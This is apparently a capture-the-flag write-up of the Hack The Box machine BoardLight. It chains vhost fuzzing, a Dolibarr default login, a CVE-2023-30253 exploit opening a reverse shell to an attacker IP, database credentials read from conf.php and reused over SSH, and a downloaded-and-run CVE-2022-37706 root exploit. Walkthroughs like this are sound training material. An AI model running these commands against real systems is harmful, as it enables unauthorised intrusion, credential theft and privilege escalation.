Target IP: 10.10.11.11
Hostname: board.htb

Initial Reconnaissance

BoardLight starts with the usual port scan. I first checked all TCP ports, then ran the default scripts and service detection against the discovered ports.

host=10.10.11.11
ip=$(echo $host | sed -E 's|https?://||' | cut -d '/' -f 1)
ports=$(nmap -Pn -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV $ip

The result was very small:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Only SSH and HTTP were open. Since the web server did not expose much from the IP address alone, I added the hostname to /etc/hosts.

echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts

Looking Around the Web Page

The main page looked like a simple company website. Clicking around did not create any interesting network traffic, so I checked the page source instead.

There was a hidden reference to portfolio.php in the HTML comments.

Opening it directly only returned a File not found message.

That made it tempting to fuzz parameters for a local file inclusion, but that path did not go anywhere useful.

wordlist=/usr/share/dirb/wordlists/common.txt
wfuzz -c -z file,"$wordlist" --hc 404 "${host}/portfolio.php?FUZZ=../../../../../../../../../etc/passwd"

At this point, the better question was not “which parameter is hidden?” but “is there another virtual host?”

Virtual Host Enumeration

I tried subdomain enumeration and vhost fuzzing. The important part here was filtering the default response size.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ \
  -u http://board.htb/ \
  -H 'Host: FUZZ.board.htb' \
  -fs 15949

This revealed one interesting vhost:

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150]

gobuster vhost also found the same host when --append-domain was used.

gobuster vhost \
  -u http://board.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  --append-domain \
  -t 50

Found: crm.board.htb Status: 200 [Size: 6360]

Then I added it to /etc/hosts as well.

echo "10.10.11.11 crm.board.htb" | sudo tee -a /etc/hosts

Dolibarr CRM

crm.board.htb showed a Dolibarr login page.

The default credential worked:

admin:admin

After logging in, the application version matched a known Dolibarr vulnerability, CVE-2023-30253. The exploit I used was available as a public proof of concept.

git clone https://github.com/Rubikcuv5/cve-2023-30253.git
cd cve-2023-30253
pip3 install -r requirements.txt
python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.2 5555

There was a small issue with the exploit banner font on my environment. Changing the pyfiglet font to a more common one was enough.

- print(f"{Fore.CYAN}{pyfiglet.figlet_format('CVE', font='isometric1')}{Style.RESET_ALL}")
+ print(f"{Fore.CYAN}{pyfiglet.figlet_format('CVE', font='standard')}{Style.RESET_ALL}")

Even though the script printed an error, the reverse shell connected successfully.

nc -nlvp 5555

connect to [10.10.14.2] from (UNKNOWN) [10.10.11.11] 55090
sh: 0: can't access tty; job control turned off
$ ls
class
index.php
lib
samples
websiteaccount_card.php

I upgraded the shell with Python.

which python3
python3 -c "import pty;pty.spawn('/bin/bash')"

Now I had a shell as www-data.

From www-data to larissa

The next step was finding credentials. Dolibarr stores database settings in its configuration file, and this box was no exception.

cd /var/www/html/crm.board.htb/htdocs/conf
cat conf.php

The useful part was the database password:

$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';

There was a local user named larissa, so I tried password reuse over SSH.

ssh larissa@board.htb

larissa@board.htb's password: serverfun2$2023!!
larissa@boardlight:~$

That worked and gave access to the user account.

cat user.txt

Privilege Escalation

For privilege escalation, I started by checking SUID binaries.

find / -perm -u=s -type f 2>/dev/null

The interesting entries were related to Enlightenment:

/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight

The installed Enlightenment version was vulnerable to CVE-2022-37706. I hosted the exploit from my machine and downloaded it on the target.

# attacker
python -m http.server 8888

# target
cd /tmp
wget http://10.10.14.2:8888/poc.sh
chmod +x poc.sh
./poc.sh

The exploit found the vulnerable SUID binary and spawned a root shell.

CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)

From there, reading the root flag was straightforward.

cat /root/root.txt

One small detail: running the same exploit as www-data failed with permission errors. In this chain, the credential reuse step to larissa was not just convenient; it was necessary for the privilege escalation path to work cleanly.

Summary

BoardLight was a compact Linux box built around a realistic web-to-root chain:

1. Enumerate vhosts and find crm.board.htb.
2. Log in to Dolibarr with default credentials.
3. Use CVE-2023-30253 to get a www-data shell.
4. Read Dolibarr’s configuration and reuse the database password for larissa.
5. Abuse Enlightenment CVE-2022-37706 to become root.

The main lesson is that the first web page was mostly a distraction. The actual entry point was hidden behind virtual host enumeration, and the rest of the box followed from carefully reading application configuration files.